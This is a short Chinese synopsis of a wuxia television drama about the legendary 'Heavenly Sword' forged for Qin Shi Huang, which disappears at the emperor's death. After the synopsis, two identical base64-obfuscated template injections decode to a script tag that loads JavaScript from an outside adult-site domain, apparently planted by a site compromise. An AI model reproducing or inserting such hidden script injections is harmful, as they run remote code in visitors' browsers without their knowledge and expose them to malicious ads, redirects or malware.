江湖上盛传，秦始皇(张丰毅 饰)一统天下之后，为了建立权威，特别密谕五位当代绝顶铸剑师共同打造一把举世无双的秦王剑，名之为「天剑」，只可惜「天剑铸成日，始皇梦薨时」，一语成谶，当天剑诞生之日，却传来秦始皇驾崩于南巡途中，天剑也随即宣告失踪，从此江湖为了寻得一统天下的天剑，几无宁日，各门各派惶惶终日-----。{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.
